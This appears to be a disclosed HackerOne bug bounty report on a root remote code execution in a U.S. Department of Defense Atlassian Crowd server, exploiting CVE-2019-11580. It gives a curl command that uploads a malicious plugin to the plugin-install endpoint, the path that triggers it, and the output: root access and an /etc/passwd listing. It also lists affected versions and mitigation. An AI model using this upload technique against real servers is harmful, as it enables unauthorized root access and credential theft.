Lucene search

K
hackeroneCdlH1:632721
HistoryJun 30, 2019 - 3:11 a.m.

U.S. Dept Of Defense: Root Remote Code Execution on https://β–ˆβ–ˆβ–ˆ

2019-06-3003:11:39
cdl
hackerone.com
58

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

Summary:
Atlassian Crowd is a centralized identity management application that allows companies to β€œManage users from multiple directories - Active Directory, LDAP, OpenLDAP or Microsoft Azure AD - and control application authentication permissions in one single location.”

A DOD installation is vulnerable to a remote code execution vulnerability due to not patching CVE-2019-11580.

Description:
From Atlassian’s public advisory:

> Crowd and Crowd Data Center had the pdkinstall development plugin incorrectly enabled in release builds. Attackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits remote code execution on systems running a vulnerable version of Crowd or Crowd Data Center.

There is no public proof-of-concept for this vulnerability, however, I spent a good amount of time reverse-engineering the β€œpdkinstall” plugin and I was able to successfully construct a working exploit.

Step-by-step Reproduction Instructions

  1. Download and unzip my malicious plugin: rce-plugin.zip {F519371}
  2. cd into the directory
  3. Run the following command:
curl -k -H "Content-Type: multipart/content" \
  --form "[email protected];type=application/octet-stream" https://β–ˆβ–ˆβ–ˆ/crowd/admin/uploadplugin.action

You’ll see that the malicious plugin is successfully installed:

Installed plugin /opt/atlassian/crowd/apache-tomcat/temp/plugindev-2906099909159442588rce.jar

Now visit https://β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/crowd/plugins/servlet/hackerone-cdl which invokes my malicious plugin. This executes the command whoami which is the user root

β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ

contents of /etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:6:0:β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/sbin:/sbin/shutdown
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:7:0:β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/sbin:/sbin/halt
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:8:12:β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/var/spool/β–ˆβ–ˆβ–ˆβ–ˆ/sbin/nologin
β–ˆβ–ˆβ–ˆx:10:14:β–ˆβ–ˆβ–ˆ/var/spool/β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:11:0:β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/root:/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:12:100:β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/usr/β–ˆβ–ˆβ–ˆβ–ˆ/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:13:30:β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/var/β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆx:14:50:FTP User:/var/β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:99:99:Nobody:/:/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:38:38::/etc/β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:499:76:"Saslauthd user":/var/empty/β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:47:47::/var/spool/mqueue:/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:51:51::/var/spool/mqueue:/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:74:74:Privilege-separated SSH:/var/empty/β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:81:81:System message bus:/:/sbin/nologin
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆx:500:500:EC2 Default User:/home/β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/bin/bash

Product, Version, and Configuration (If applicable)

Crowd or Crowd Data Center from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x)
Crowd or Crowd Data Center from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x)
Crowd or Crowd Data Center from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x)
Crowd or Crowd Data Center from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x)
Crowd or Crowd Data Center from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x)

Suggested Mitigation/Remediation Actions

I recommend updating to the latest version of Atlassian Crowd, but if that’s not possible, follow mitigation options in the advisory.

Impact

Remote code execution on https://β–ˆβ–ˆβ–ˆ. An attacker could exploit this vulnerability to pivot into NIPRNet and gain access to other applications. Since Atlassian Crowd is an Identity management / Single Sign-on application, an attacker could exploit this vulnerability to gain access to any applications using Crowd for sign-ons.

Since this is running as root, an attacker could also easily backdoor the login page and steal credentials.

Thanks,
Corben Leo (@cdl)

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%